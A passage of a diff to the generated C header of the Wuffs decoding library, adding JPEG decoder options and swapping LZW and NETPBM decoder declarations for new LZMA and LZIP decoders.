wuffs_jpeg__error__bad_sos_marker[]; + extern const char wuffs_jpeg__error__bad_header[]; + extern const char wuffs_jpeg__error__bad_marker[]; ++extern const char wuffs_jpeg__error__bad_scan_count[]; + extern const char wuffs_jpeg__error__missing_huffman_table[]; + extern const char wuffs_jpeg__error__missing_quantization_table[]; ++extern const char wuffs_jpeg__error__rejected_progressive_jpeg[]; + extern const char wuffs_jpeg__error__truncated_input[]; + extern const char wuffs_jpeg__error__unsupported_arithmetic_coding[]; + extern const char wuffs_jpeg__error__unsupported_color_model[]; +@@ -9134,9 +9681,9 @@ extern const char wuffs_jpeg__error__unsupported_scan_count[]; + + // ---------------- Public Consts + +-#define WUFFS_JPEG__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_JPEG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 51552191232u + +-#define WUFFS_JPEG__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 51552191232 ++#define WUFFS_JPEG__QUIRK_REJECT_PROGRESSIVE_JPEGS 1220532224u + + // ---------------- Struct Declarations + +@@ -9269,11 +9816,6 @@ wuffs_jpeg__decoder__tell_me_more( + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_jpeg__decoder__history_retain_length( +- const wuffs_jpeg__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_jpeg__decoder__workbuf_len( +@@ -9368,6 +9910,13 @@ struct wuffs_jpeg__decoder__struct { + uint32_t f_bitstream_ri; + uint32_t f_bitstream_wi; + bool f_bitstream_is_closed; ++ bool f_expect_multiple_scans; ++ bool f_use_lower_quality; ++ bool f_reject_progressive_jpegs; ++ bool f_swizzle_immediately; ++ wuffs_base__status f_swizzle_immediately_status; ++ uint32_t f_swizzle_immediately_b_offsets[10]; ++ uint32_t f_swizzle_immediately_c_offsets[5]; + uint32_t f_bitstream_padding; + uint16_t f_quant_tables[4][64]; + uint16_t f_saved_quant_tables[4][64]; +@@ -9381,28 +9930,29 @@ struct wuffs_jpeg__decoder__struct { + wuffs_base__slice_u8 a_dst_buffer, + uint64_t a_dst_stride, + uint32_t a_q); +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_dqt[1]; +- uint32_t p_decode_dri[1]; +- uint32_t p_decode_appn[1]; +- uint32_t p_decode_sof[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; +- uint32_t p_decode_dht[1]; +- uint32_t p_decode_sos[1]; +- uint32_t p_prepare_scan[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_dqt; ++ uint32_t p_decode_dri; ++ uint32_t p_decode_appn; ++ uint32_t p_decode_sof; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_decode_dht; ++ uint32_t p_decode_sos; ++ uint32_t p_prepare_scan; + wuffs_base__empty_struct (*choosy_load_mcu_blocks_for_single_component)( + wuffs_jpeg__decoder* self, + uint32_t a_mx, + uint32_t a_my, + wuffs_base__slice_u8 a_workbuf, + uint32_t a_csel); +- uint32_t p_skip_past_the_next_restart_marker[1]; ++ uint32_t p_skip_past_the_next_restart_marker; + uint32_t (*choosy_decode_mcu)( + wuffs_jpeg__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__slice_u8 a_workbuf, + uint32_t a_mx, + uint32_t a_my); +@@ -9411,6 +9961,7 @@ struct wuffs_jpeg__decoder__struct { + struct { + uint8_t f_bitstream_buffer[2048]; + uint16_t f_mcu_blocks[10][64]; ++ uint8_t f_swizzle_immediately_buffer[640]; + uint8_t f_swizzle_ycck_scratch_buffer_2k[2048]; + uint8_t f_dht_temp_counts[16]; + uint8_t f_dht_temp_bit_lengths[256]; +@@ -9420,38 +9971,38 @@ struct wuffs_jpeg__decoder__struct { + struct { + uint8_t v_marker; + uint64_t scratch; +- } s_do_decode_image_config[1]; ++ } s_do_decode_image_config; + struct { + uint8_t v_q; + uint32_t v_i; +- } s_decode_dqt[1]; ++ } s_decode_dqt; + struct { + uint64_t scratch; +- } s_decode_dri[1]; ++ } s_decode_dri; + struct { + uint64_t scratch; +- } s_decode_appn[1]; ++ } s_decode_appn; + struct { + uint32_t v_i; + uint64_t scratch; +- } s_decode_sof[1]; ++ } s_decode_sof; + struct { + uint8_t v_marker; + uint64_t scratch; +- } s_do_decode_frame[1]; ++ } s_do_decode_frame; + struct { + uint8_t v_tc4_th; + uint32_t v_total_count; + uint32_t v_i; +- } s_decode_dht[1]; ++ } s_decode_dht; + struct { + uint32_t v_my; + uint32_t v_mx; +- } s_decode_sos[1]; ++ } s_decode_sos; + struct { + uint32_t v_i; + uint64_t scratch; +- } s_prepare_scan[1]; ++ } s_prepare_scan; + } private_data; + + #ifdef __cplusplus +@@ -9595,11 +10146,6 @@ struct wuffs_jpeg__decoder__struct { + return wuffs_jpeg__decoder__tell_me_more(this, a_dst, a_minfo, a_src); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_jpeg__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_jpeg__decoder__workbuf_len(this); +@@ -9627,55 +10173,53 @@ extern const char wuffs_json__error__unsupported_recursion_depth[]; + + // ---------------- Public Consts + +-#define WUFFS_JSON__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_JSON__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_JSON__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_JSON__DECODER_DEPTH_MAX_INCL 1024 ++#define WUFFS_JSON__DECODER_DEPTH_MAX_INCL 1024u + +-#define WUFFS_JSON__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 1 ++#define WUFFS_JSON__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 1u + +-#define WUFFS_JSON__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 100 ++#define WUFFS_JSON__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 100u + +-#define WUFFS_JSON__QUIRK_ALLOW_ASCII_CONTROL_CODES 1225364480 ++#define WUFFS_JSON__QUIRK_ALLOW_ASCII_CONTROL_CODES 1225364480u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_A 1225364481 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_A 1225364481u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_CAPITAL_U 1225364482 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_CAPITAL_U 1225364482u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_E 1225364483 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_E 1225364483u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_NEW_LINE 1225364484 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_NEW_LINE 1225364484u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_QUESTION_MARK 1225364485 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_QUESTION_MARK 1225364485u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_SINGLE_QUOTE 1225364486 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_SINGLE_QUOTE 1225364486u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_V 1225364487 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_V 1225364487u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_X_AS_CODE_POINTS 1225364489 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_X_AS_CODE_POINTS 1225364489u + +-#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_ZERO 1225364490 ++#define WUFFS_JSON__QUIRK_ALLOW_BACKSLASH_ZERO 1225364490u + +-#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_BLOCK 1225364491 ++#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_BLOCK 1225364491u + +-#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_LINE 1225364492 ++#define WUFFS_JSON__QUIRK_ALLOW_COMMENT_LINE 1225364492u + +-#define WUFFS_JSON__QUIRK_ALLOW_EXTRA_COMMA 1225364493 ++#define WUFFS_JSON__QUIRK_ALLOW_EXTRA_COMMA 1225364493u + +-#define WUFFS_JSON__QUIRK_ALLOW_INF_NAN_NUMBERS 1225364494 ++#define WUFFS_JSON__QUIRK_ALLOW_INF_NAN_NUMBERS 1225364494u + +-#define WUFFS_JSON__QUIRK_ALLOW_LEADING_ASCII_RECORD_SEPARATOR 1225364495 ++#define WUFFS_JSON__QUIRK_ALLOW_LEADING_ASCII_RECORD_SEPARATOR 1225364495u + +-#define WUFFS_JSON__QUIRK_ALLOW_LEADING_UNICODE_BYTE_ORDER_MARK 1225364496 ++#define WUFFS_JSON__QUIRK_ALLOW_LEADING_UNICODE_BYTE_ORDER_MARK 1225364496u + +-#define WUFFS_JSON__QUIRK_ALLOW_TRAILING_FILLER 1225364497 ++#define WUFFS_JSON__QUIRK_ALLOW_TRAILING_FILLER 1225364497u + +-#define WUFFS_JSON__QUIRK_EXPECT_TRAILING_NEW_LINE_OR_EOF 1225364498 ++#define WUFFS_JSON__QUIRK_EXPECT_TRAILING_NEW_LINE_OR_EOF 1225364498u + +-#define WUFFS_JSON__QUIRK_JSON_POINTER_ALLOW_TILDE_N_TILDE_R_TILDE_T 1225364499 ++#define WUFFS_JSON__QUIRK_JSON_POINTER_ALLOW_TILDE_N_TILDE_R_TILDE_T 1225364499u + +-#define WUFFS_JSON__QUIRK_REPLACE_INVALID_UNICODE 1225364500 ++#define WUFFS_JSON__QUIRK_REPLACE_INVALID_UNICODE 1225364500u + + // ---------------- Struct Declarations + +@@ -9742,11 +10286,6 @@ wuffs_json__decoder__set_quirk( + uint32_t a_key, + uint64_t a_value); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_json__decoder__history_retain_length( +- const wuffs_json__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_json__decoder__workbuf_len( +@@ -9794,11 +10333,11 @@ struct wuffs_json__decoder__struct { + uint8_t f_trailer_stop; + uint8_t f_comment_type; + +- uint32_t p_decode_tokens[1]; +- uint32_t p_decode_leading[1]; +- uint32_t p_decode_comment[1]; +- uint32_t p_decode_inf_nan[1]; +- uint32_t p_decode_trailer[1]; ++ uint32_t p_decode_tokens; ++ uint32_t p_decode_leading; ++ uint32_t p_decode_comment; ++ uint32_t p_decode_inf_nan; ++ uint32_t p_decode_trailer; + } private_impl; + + struct { +@@ -9808,7 +10347,7 @@ struct wuffs_json__decoder__struct { + uint32_t v_depth; + uint32_t v_expect; + uint32_t v_expect_after_value; +- } s_decode_tokens[1]; ++ } s_decode_tokens; + } private_data; + + #ifdef __cplusplus +@@ -9886,11 +10425,6 @@ struct wuffs_json__decoder__struct { + return wuffs_json__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_json__decoder__history_retain_length(this); +- } +- + inline wuffs_base__range_ii_u64 + workbuf_len() const { + return wuffs_json__decoder__workbuf_len(this); +@@ -9911,24 +10445,33 @@ struct wuffs_json__decoder__struct { + + #endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_lzw__error__bad_code[]; +-extern const char wuffs_lzw__error__truncated_input[]; ++extern const char wuffs_lzma__error__bad_lzma2_header[]; ++extern const char wuffs_lzma__error__bad_bitstream_trailer[]; ++extern const char wuffs_lzma__error__bad_code[]; ++extern const char wuffs_lzma__error__bad_decoded_length[]; ++extern const char wuffs_lzma__error__bad_distance[]; ++extern const char wuffs_lzma__error__bad_header[]; ++extern const char wuffs_lzma__error__truncated_input[]; ++extern const char wuffs_lzma__error__unsupported_decoded_length[]; ++extern const char wuffs_lzma__error__unsupported_properties[]; + + // ---------------- Public Consts + +-#define WUFFS_LZW__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_LZMA__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_LZW__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_LZMA__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 4294967568u + +-#define WUFFS_LZW__QUIRK_LITERAL_WIDTH_PLUS_ONE 1348378624 ++#define WUFFS_LZMA__QUIRK_ALLOW_NON_ZERO_INITIAL_BYTE 1348001792u ++ ++#define WUFFS_LZMA__QUIRK_FORMAT_EXTENSION 1348001793u + + // ---------------- Struct Declarations + +-typedef struct wuffs_lzw__decoder__struct wuffs_lzw__decoder; ++typedef struct wuffs_lzma__decoder__struct wuffs_lzma__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -9943,14 +10486,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_lzw__decoder__initialize( +- wuffs_lzw__decoder* self, ++wuffs_lzma__decoder__initialize( ++ wuffs_lzma__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_lzw__decoder(void); ++sizeof__wuffs_lzma__decoder(void); + + // ---------------- Allocs + +@@ -9960,19 +10503,19 @@ sizeof__wuffs_lzw__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_lzw__decoder* +-wuffs_lzw__decoder__alloc(void); ++wuffs_lzma__decoder* ++wuffs_lzma__decoder__alloc(void); + + static inline wuffs_base__io_transformer* +-wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer(void) { +- return (wuffs_base__io_transformer*)(wuffs_lzw__decoder__alloc()); ++wuffs_lzma__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_lzma__decoder__alloc()); + } + + // ---------------- Upcasts + + static inline wuffs_base__io_transformer* +-wuffs_lzw__decoder__upcast_as__wuffs_base__io_transformer( +- wuffs_lzw__decoder* p) { ++wuffs_lzma__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_lzma__decoder* p) { + return (wuffs_base__io_transformer*)p; + } + +@@ -9980,40 +10523,35 @@ wuffs_lzw__decoder__upcast_as__wuffs_base__io_transformer( + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_lzw__decoder__get_quirk( +- const wuffs_lzw__decoder* self, ++wuffs_lzma__decoder__get_quirk( ++ const wuffs_lzma__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_lzw__decoder__set_quirk( +- wuffs_lzw__decoder* self, ++wuffs_lzma__decoder__set_quirk( ++ wuffs_lzma__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_lzw__decoder__history_retain_length( +- const wuffs_lzw__decoder* self); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzma__decoder__dst_history_retain_length( ++ const wuffs_lzma__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_lzw__decoder__workbuf_len( +- const wuffs_lzw__decoder* self); ++wuffs_lzma__decoder__workbuf_len( ++ const wuffs_lzma__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_lzw__decoder__transform_io( +- wuffs_lzw__decoder* self, ++wuffs_lzma__decoder__transform_io( ++ wuffs_lzma__decoder* self, + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__slice_u8 +-wuffs_lzw__decoder__flush( +- wuffs_lzw__decoder* self); +- + #ifdef __cplusplus + } // extern "C" + #endif +@@ -10027,7 +10565,7 @@ wuffs_lzw__decoder__flush( + + #if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-struct wuffs_lzw__decoder__struct { ++struct wuffs_lzma__decoder__struct { + // Do not access the private_impl's or private_data's fields directly. There + // is no API/ABI compatibility or safety guarantee if you do so. Instead, use + // the wuffs_foo__bar__baz functions. +@@ -10041,45 +10579,113 @@ struct wuffs_lzw__decoder__struct { + wuffs_base__vtable vtable_for__wuffs_base__io_transformer; + wuffs_base__vtable null_vtable; + +- uint32_t f_pending_literal_width_plus_one; +- uint32_t f_literal_width; +- uint32_t f_clear_code; +- uint32_t f_end_code; +- uint32_t f_save_code; +- uint32_t f_prev_code; +- uint32_t f_width; +- uint32_t f_bits; +- uint32_t f_n_bits; +- uint32_t f_output_ri; +- uint32_t f_output_wi; +- uint32_t f_read_from_return_value; +- uint16_t f_prefixes[4096]; +- +- uint32_t p_transform_io[1]; +- uint32_t p_write_to[1]; ++ uint32_t f_lc; ++ uint32_t f_lp; ++ uint32_t f_pb; ++ uint32_t f_format_extension; ++ uint32_t f_dict_size; ++ uint32_t f_dict_workbuf_index; ++ uint32_t f_dict_seen; ++ uint64_t f_decoded_length; ++ uint64_t f_lzma2_encoded_length_have; ++ uint64_t f_lzma2_encoded_length_want; ++ bool f_lzma2_need_prob_reset; ++ bool f_lzma2_need_properties; ++ bool f_lzma2_need_dict_reset; ++ bool f_prev_lzma2_chunk_was_uncompressed; ++ bool f_allow_non_zero_initial_byte; ++ bool f_end_of_chunk; ++ uint8_t f_stashed_bytes[2]; ++ uint32_t f_stashed_bits; ++ uint32_t f_stashed_range; ++ uint32_t f_stashed_state; ++ uint32_t f_stashed_rep0; ++ uint32_t f_stashed_rep1; ++ uint32_t f_stashed_rep2; ++ uint32_t f_stashed_rep3; ++ uint64_t f_stashed_pos; ++ uint64_t f_stashed_pos_end; ++ ++ uint32_t p_decode_bitstream_slow; ++ uint32_t p_transform_io; ++ uint32_t p_do_transform_io; ++ uint32_t p_decode_bitstream; ++ uint32_t p_update_stashed_bytes; ++ uint32_t p_decode_optional_end_of_stream; + } private_impl; + + struct { +- uint8_t f_suffixes[4096][8]; +- uint16_t f_lm1s[4096]; +- uint8_t f_output[8199]; ++ uint16_t f_probs_ao00[192]; ++ uint16_t f_probs_ao20[12]; ++ uint16_t f_probs_ao40[12]; ++ uint16_t f_probs_ao41[192]; ++ uint16_t f_probs_ao60[12]; ++ uint16_t f_probs_ao63[12]; ++ uint16_t f_probs_match_len_low[16][8]; ++ uint16_t f_probs_match_len_mid[16][8]; ++ uint16_t f_probs_match_len_high[1][256]; ++ uint16_t f_probs_longrep_len_low[16][8]; ++ uint16_t f_probs_longrep_len_mid[16][8]; ++ uint16_t f_probs_longrep_len_high[1][256]; ++ uint16_t f_probs_slot[4][64]; ++ uint16_t f_probs_small_dist[128]; ++ uint16_t f_probs_large_dist[16]; ++ uint16_t f_probs_lit[16][768]; ++ ++ struct { ++ uint32_t v_bits; ++ uint32_t v_range; ++ uint32_t v_state; ++ uint32_t v_rep0; ++ uint32_t v_rep1; ++ uint32_t v_rep2; ++ uint32_t v_rep3; ++ uint32_t v_rep; ++ uint64_t v_pos; ++ uint64_t v_pos_end; ++ uint32_t v_lc; ++ uint64_t v_lp_mask; ++ uint64_t v_pb_mask; ++ uint32_t v_tree_node; ++ uint8_t v_prev_byte; ++ uint32_t v_match_byte; ++ uint32_t v_len_state; ++ uint32_t v_slot; ++ uint32_t v_len; ++ uint32_t v_lanl_offset; ++ uint32_t v_num_extra_bits; ++ uint32_t v_dist_extra_bits; ++ uint32_t v_i; ++ uint32_t v_index_lit; ++ uint32_t v_index_len; ++ uint32_t v_index_small_dist_base; ++ uint32_t v_index_small_dist_extra; ++ uint32_t v_index_large_dist; ++ uint32_t v_dist; ++ uint64_t scratch; ++ } s_decode_bitstream_slow; ++ struct { ++ uint8_t v_header_byte; ++ uint32_t v_length; ++ uint64_t scratch; ++ } s_do_transform_io; + } private_data; + + #ifdef __cplusplus + #if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) +- using unique_ptr = std::unique_ptr; ++ using unique_ptr = std::unique_ptr; + + // On failure, the alloc_etc functions return nullptr. They don't throw. + + static inline unique_ptr + alloc() { +- return unique_ptr(wuffs_lzw__decoder__alloc()); ++ return unique_ptr(wuffs_lzma__decoder__alloc()); + } + + static inline wuffs_base__io_transformer::unique_ptr + alloc_as__wuffs_base__io_transformer() { + return wuffs_base__io_transformer::unique_ptr( +- wuffs_lzw__decoder__alloc_as__wuffs_base__io_transformer()); ++ wuffs_lzma__decoder__alloc_as__wuffs_base__io_transformer()); + } + #endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +@@ -10095,10 +10701,10 @@ struct wuffs_lzw__decoder__struct { + // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in + // order to provide convenience methods. These forward on "this", so that you + // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". +- wuffs_lzw__decoder__struct() = delete; +- wuffs_lzw__decoder__struct(const wuffs_lzw__decoder__struct&) = delete; +- wuffs_lzw__decoder__struct& operator=( +- const wuffs_lzw__decoder__struct&) = delete; ++ wuffs_lzma__decoder__struct() = delete; ++ wuffs_lzma__decoder__struct(const wuffs_lzma__decoder__struct&) = delete; ++ wuffs_lzma__decoder__struct& operator=( ++ const wuffs_lzma__decoder__struct&) = delete; + #endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + + #if !defined(WUFFS_IMPLEMENTATION) +@@ -10118,7 +10724,7 @@ struct wuffs_lzw__decoder__struct { + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options) { +- return wuffs_lzw__decoder__initialize( ++ return wuffs_lzma__decoder__initialize( + this, sizeof_star_self, wuffs_version, options); + } + +@@ -10130,24 +10736,24 @@ struct wuffs_lzw__decoder__struct { + inline uint64_t + get_quirk( + uint32_t a_key) const { +- return wuffs_lzw__decoder__get_quirk(this, a_key); ++ return wuffs_lzma__decoder__get_quirk(this, a_key); + } + + inline wuffs_base__status + set_quirk( + uint32_t a_key, + uint64_t a_value) { +- return wuffs_lzw__decoder__set_quirk(this, a_key, a_value); ++ return wuffs_lzma__decoder__set_quirk(this, a_key, a_value); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_lzw__decoder__history_retain_length(this); ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_lzma__decoder__dst_history_retain_length(this); + } + + inline wuffs_base__range_ii_u64 + workbuf_len() const { +- return wuffs_lzw__decoder__workbuf_len(this); ++ return wuffs_lzma__decoder__workbuf_len(this); + } + + inline wuffs_base__status +@@ -10155,38 +10761,34 @@ struct wuffs_lzw__decoder__struct { + wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src, + wuffs_base__slice_u8 a_workbuf) { +- return wuffs_lzw__decoder__transform_io(this, a_dst, a_src, a_workbuf); +- } +- +- inline wuffs_base__slice_u8 +- flush() { +- return wuffs_lzw__decoder__flush(this); ++ return wuffs_lzma__decoder__transform_io(this, a_dst, a_src, a_workbuf); + } + + #endif // __cplusplus +-}; // struct wuffs_lzw__decoder__struct ++}; // struct wuffs_lzma__decoder__struct + + #endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) || defined(WUFFS_NONMONOLITHIC) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) || defined(WUFFS_NONMONOLITHIC) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__NETPBM) || defined(WUFFS_NONMONOLITHIC) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) || defined(WUFFS_NONMONOLITHIC) + + // ---------------- Status Codes + +-extern const char wuffs_netpbm__error__bad_header[]; +-extern const char wuffs_netpbm__error__truncated_input[]; +-extern const char wuffs_netpbm__error__unsupported_netpbm_file[]; ++extern const char wuffs_lzip__error__bad_checksum[]; ++extern const char wuffs_lzip__error__bad_footer[]; ++extern const char wuffs_lzip__error__bad_header[]; ++extern const char wuffs_lzip__error__truncated_input[]; + + // ---------------- Public Consts + +-#define WUFFS_NETPBM__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 ++#define WUFFS_LZIP__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-#define WUFFS_NETPBM__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_LZIP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 4294967568u + + // ---------------- Struct Declarations + +-typedef struct wuffs_netpbm__decoder__struct wuffs_netpbm__decoder; ++typedef struct wuffs_lzip__decoder__struct wuffs_lzip__decoder; + + #ifdef __cplusplus + extern "C" { +@@ -10201,14 +10803,14 @@ extern "C" { + // Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_netpbm__decoder__initialize( +- wuffs_netpbm__decoder* self, ++wuffs_lzip__decoder__initialize( ++ wuffs_lzip__decoder* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options); + + size_t +-sizeof__wuffs_netpbm__decoder(void); ++sizeof__wuffs_lzip__decoder(void); + + // ---------------- Allocs + +@@ -10218,112 +10820,54 @@ sizeof__wuffs_netpbm__decoder(void); + // calling free on the returned pointer. That pointer is effectively a C++ + // std::unique_ptr. + +-wuffs_netpbm__decoder* +-wuffs_netpbm__decoder__alloc(void); ++wuffs_lzip__decoder* ++wuffs_lzip__decoder__alloc(void); + +-static inline wuffs_base__image_decoder* +-wuffs_netpbm__decoder__alloc_as__wuffs_base__image_decoder(void) { +- return (wuffs_base__image_decoder*)(wuffs_netpbm__decoder__alloc()); ++static inline wuffs_base__io_transformer* ++wuffs_lzip__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_lzip__decoder__alloc()); + } + + // ---------------- Upcasts + +-static inline wuffs_base__image_decoder* +-wuffs_netpbm__decoder__upcast_as__wuffs_base__image_decoder( +- wuffs_netpbm__decoder* p) { +- return (wuffs_base__image_decoder*)p; ++static inline wuffs_base__io_transformer* ++wuffs_lzip__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_lzip__decoder* p) { ++ return (wuffs_base__io_transformer*)p; + } + + // ---------------- Public Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__get_quirk( +- const wuffs_netpbm__decoder* self, ++wuffs_lzip__decoder__get_quirk( ++ const wuffs_lzip__decoder* self, + uint32_t a_key); + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__set_quirk( +- wuffs_netpbm__decoder* self, ++wuffs_lzip__decoder__set_quirk( ++ wuffs_lzip__decoder* self, + uint32_t a_key, + uint64_t a_value); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_image_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_frame_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_frame( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_netpbm__decoder__frame_dirty_rect( +- const wuffs_netpbm__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_netpbm__decoder__num_animation_loops( 